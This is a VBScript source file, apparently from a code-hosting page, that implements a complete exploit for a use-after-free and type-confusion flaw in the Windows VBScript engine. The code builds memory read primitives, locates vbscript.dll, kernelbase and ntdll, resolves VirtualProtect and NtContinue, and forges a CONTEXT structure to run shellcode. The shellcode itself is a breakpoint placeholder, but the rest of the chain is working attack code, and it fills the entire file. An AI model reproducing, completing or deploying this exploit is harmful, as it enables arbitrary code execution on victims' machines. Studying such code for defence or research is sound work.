Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
324 lines (287 sloc) 9.38 KB
Dim FreedObjectArray
Dim UafArrayA(6),UafArrayB(6)
Dim UafCounter
Dim objectArray(40)
Dim FakeArrayString,Empty16BString
Dim some_memory
Dim resueObjectA_arr,resueObjectB_int
Dim objectOfClassWithPropA,objectOfClassWithPropB
Dim NtContinue,VirtualProtect
some_memory = 195948557 ' 0xbadf00d
FakeArrayString=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
Empty16BString=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
UafCounter = 195890093 ' 0xbad0bad
Function ToHexString(ByVal Number,ByVal Length)
hex_number = Hex(Number)
If Len(hex_number) < Length Then
hex_number = String(Length-Len(hex_number),"0") & hex_number
Else
hex_number = Right(hex_number,Length)
End If
ToHexString = hex_number
End Function
Function GetUint32(addr)
Dim value
resueObjectA_arr.mem(some_memory+8)=addr+4 ' set value as BSTR ptr + 4 (BSTR obj: [len][addr+4], LenB will read from [len] so [addr]
resueObjectA_arr.mem(some_memory)=8 ' set type to VT_BSTR
value=resueObjectA_arr.ReadBstrValll
resueObjectA_arr.mem(some_memory)=2 ' set type to original VT_I2
GetUint32=value
End Function
Function GetWord(addr)
GetWord = GetUint32(addr) And &h0fff
End Function
Function GetByte(addr)
GetByte = GetUint32(addr) And &hff
End Function
Sub EmptySub
End Sub
Function ReadRawPointer
resueObjectA_arr.mem(some_memory)=3 ' set var type to type vbLong
ReadRawPointer=resueObjectA_arr.mem(some_memory+8) ' read data as vbLong
End Function
Sub SetVarData(ByRef ref)
resueObjectA_arr.mem(some_memory+8)=ref ' set data
End Sub
Function LeakVBAddr
On Error Resume Next
Dim emptySub_addr_placeholder
emptySub_addr_placeholder=EmptySub
emptySub_addr_placeholder=null
SetVarData emptySub_addr_placeholder
LeakVBAddr=ReadRawPointer()
End Function
Function FindMzBase(addr)
Dim base
base= addr And &hffff0000
Do While GetUint32(base+104)<> &h206e6920 Or GetUint32(base+108) <> &h20534f44
base = base - &h10000
Loop
FindMzBase=base
End Function
Function StringCompare(name_addr, to_compare)
Dim name,idx
name=""
For idx=0 To Len(to_compare)-1
name=name &Chr(GetByte(name_addr+idx))
Next
StringCompare=StrComp(UCase(name),UCase(to_compare))
End Function
Function GetDllBaseFromExport(dllBase, dllName)
Dim p,idx,import_table_addr
Dim dlladdr_rva
p=GetUint32(dllBase + &h3c) ' PE Header
p=GetUint32(dllBase + p + &h80) ' Import table RVA
import_table_addr = dllBase + p
idx=0
Do While True
Dim name_rva
name_rva = GetUint32(import_table_addr + idx * &h14 + &hc)
If name_rva=0 Then
GetDllBaseFromExport = &hBAAD0000
Exit Function
Else
If StringCompare(dllBase + name_rva, dllName)=0 Then
Exit Do
End If
End If
idx = idx + 1
Loop
dlladdr_rva = GetUint32(import_table_addr + idx * &h14 + &h10)
GetDllBaseFromExport = FindMzBase(GetUint32(dllBase + dlladdr_rva))
End Function
Function GetProcAddr(base, name)
Dim p,idx,export_table
Dim number_of_names,addr_table_rva,name_table_rva,ordinal_table_rva
Dim ordinal
p=GetUint32(base+&h3c)
p=GetUint32(base+p+&h78)
export_table=base+p
number_of_names=GetUint32(export_table+&h18)
addr_table_rva=base+GetUint32(export_table+&h1c)
name_table_rva=base+GetUint32(export_table+&h20)
ordinal_table_rva=base+GetUint32(export_table+&h24)
idx=0
Do While True
Dim export_name
export_name=GetUint32(name_table_rva+idx*4)
If StringCompare(base+export_name,name)=0 Then
Exit Do
End If
idx=idx+1
Loop
ordinal=GetWord(ordinal_table_rva + idx*2)
p=GetUint32(addr_table_rva+ordinal*4)
GetProcAddr=base+p
End Function
Function GetShellcode()
shellcode = Unescape("%u0000%u0000%u0000%u0000") & Unescape("%ucccc%u4141%u4141%u4242%u4242")
'shellcode = shellcode & String((&h80000-LenB(shellcode)) / 2 , Unescape("%u4141")) ' append missing data (total size 0x80000)
GetShellcode=shellcode
End Function
Function UnescapeValue(ByVal value)
Dim high,low
high=ToHexString((value And &hffff0000)/&h10000,4)
low=ToHexString(value And &hFFFF,4)
UnescapeValue=Unescape("%u" &low &"%u" &high)
End Function
Function StructWithNtContinueAddr
Dim idx,ntContinueAddrAsStr,result,a1,a2,a3,a4
ntContinueAddrAsStr = ToHexString(NtContinue,8)
a1 = Mid(ntContinueAddrAsStr,1,2)
a2 = Mid(ntContinueAddrAsStr,3,2)
a3 = Mid(ntContinueAddrAsStr,5,2)
a4 = Mid(ntContinueAddrAsStr,7,2)
result = ""
result = result & "%u0000%u" & a4 & "00"
For idx=1 To 3
result = result & "%u" & a2 & a3
result = result & "%u" & a4 & a1
Next
result = result & "%u" & a2 & a3
result = result & "%u00" & a1
StructWithNtContinueAddr=Unescape(result)
' \x00 \x00 \x00 NT_CONTINUE NT_CONTNUE NT_CONTINUE \x00
End Function
Function VirtualProtectCallParameters(shellcodePtr)
Dim result
result = String(10000,Unescape("%u4141")) ' 'A' * 0x10fdc - padding, this space will be used as stack
result = result & UnescapeValue(shellcodePtr) ' &shellcode - address to return to after VirtualProtect
result = result & UnescapeValue(shellcodePtr) ' &shellcode - lpAddress (1st param for VirtualProtect)
result = result & UnescapeValue(12288) ' 0x3000 - size (2nd param for VirtualProtect)
result = result & UnescapeValue(64) ' 0x40 - newProtect (3rd param for VirtualProtect)
result = result & UnescapeValue(shellcodePtr-8) ' &(shellcode-8) - lpOldProtect (4th param for VirtualProtect)
result = result & String(6,Unescape("%u4242")) ' 'B' * 12 - padding and allignment
result = result & StructWithNtContinueAddr() ' \x00 * 3 NtContinue * 4 \x00
result = result & String((524288-LenB(result))/2,Unescape("%u4141"))' 'A' * (0x80000 - current_size) - padding
VirtualProtectCallParameters = result
End Function
Function StructForNtContinue(structForVirtualProtect)
Dim result
Dim ntContinuePtr
ntContinuePtr = structForVirtualProtect + 35
result = ""
result = result & UnescapeValue(ntContinuePtr)
result = result & String((184-LenB(result))/2,Unescape("%u4141")) ' 'A' * 0xb8 - initalize _CONTEXT with 'A'
result = result & UnescapeValue(VirtualProtect) ' VirtualProtect - _EIP in _CONTEXT struct
result = result & UnescapeValue(27) ' 0x1b - CsSeg in _CONTEXT struct
result = result & UnescapeValue(0) ' 0x00 - EFLAGS in _CONTEXT struct
result = result & UnescapeValue(structForVirtualProtect) ' structForVirtualProtect - _ESP in _CONTEXT struct
result = result & UnescapeValue(35) ' 0x23 - SsSeg in _CONTEXT struct
result = result & String((1024-LenB(result))/2,Unescape("%u4343")) ' 'A' * (0x400 - current_size) - padding
StructForNtContinue = result
End Function
Sub TriggerCodeExecution
resueObjectA_arr.mem(some_memory)=&h4d
Wscript.Echo("GO")
resueObjectA_arr.mem(some_memory+8)=0
End Sub
Class ClassTerminateA
Private Sub Class_Terminate()
Set UafArrayA(UafCounter)=FreedObjectArray(1)
UafCounter=UafCounter+1
FreedObjectArray(1)=1
End Sub
End Class
Class ClassTerminateB
Private Sub Class_Terminate()
Set UafArrayB(UafCounter)=FreedObjectArray(1)
UafCounter=UafCounter+1
FreedObjectArray(1)=1
End Sub
End Class
Class EmptyClass
End Class
Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
mem=Value ' will actually call Default Poperty Get
SetProp=0
End Function
End Class
Class FakeReuseClass
Dim mem
Function ReadBstrValll
ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class
Class ReplacingClass_Array
Public Default Property Get Q
Dim objectImitatingArray
Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0
For idx=0 To 6
UafArrayA(idx)=0
Next
Set objectImitatingArray=New FakeReuseClass
objectImitatingArray.mem = FakeArrayString
For idx=0 To 6
Set UafArrayA(idx)=objectImitatingArray
Next
End Property
End Class
Class ReplacingClass_Int
Public Default Property Get P
Dim objectImitatingInteger
P=CDbl("636598737289582e-328") ' db 0, 0, 0, 0, 3, 0, 0, 0
For idx=0 To 6
UafArrayB(idx)=0
Next
Set objectImitatingInteger=New FakeReuseClass
objectImitatingInteger.mem=Empty16BString
For idx=0 To 6
Set UafArrayB(idx)=objectImitatingInteger
Next
End Property
End Class
Set objectOfClassWithPropA=New ReplacingClass_Array
Set objectOfClassWithPropB=New ReplacingClass_Int
Sub UafTrigger
For idx=0 To 17
Set objectArray(idx)=New EmptyClass
Next
For idx=20 To 38
Set objectArray(idx)=New ReuseClass
Next
UafCounter=0
For idx=0 To 6
ReDim FreedObjectArray(1)
Set FreedObjectArray(1)=New ClassTerminateA
Erase FreedObjectArray
Next
Set resueObjectA_arr=New ReuseClass
UafCounter=0
For idx=0 To 6
ReDim FreedObjectArray(1)
Set FreedObjectArray(1)=New ClassTerminateB
Erase FreedObjectArray
Next
Set resueObjectB_int=New ReuseClass
End Sub
Sub TypeConfusion
resueObjectA_arr.SetProp(objectOfClassWithPropA)
resueObjectB_int.SetProp(objectOfClassWithPropB)
some_memory=resueObjectB_int.mem
End Sub
Sub StartExploit
UafTrigger
TypeConfusion
ptr_toCScriptEntryPointVTble=LeakVBAddr()
vbscript=FindMzBase(GetUint32(ptr_toCScriptEntryPointVTble))
msvcrt=GetDllBaseFromExport(vbscript,"msvcrt.dll")
kernelbase=GetDllBaseFromExport(msvcrt,"kernelbase.dll")
ntdll=GetDllBaseFromExport(msvcrt,"ntdll.dll")
VirtualProtect=GetProcAddr(kernelbase,"VirtualProtect")
NtContinue=GetProcAddr(ntdll,"NtContinue")
SetVarData GetShellcode()
shellcodePtr = ReadRawPointer() + 8
SetVarData VirtualProtectCallParameters(shellcodePtr)
structForVirtualProtect = ReadRawPointer() + 20000
SetVarData StructForNtContinue(structForVirtualProtect)
'llIIll = ReadRawPointer()
TriggerCodeExecution
End Sub
StartExploit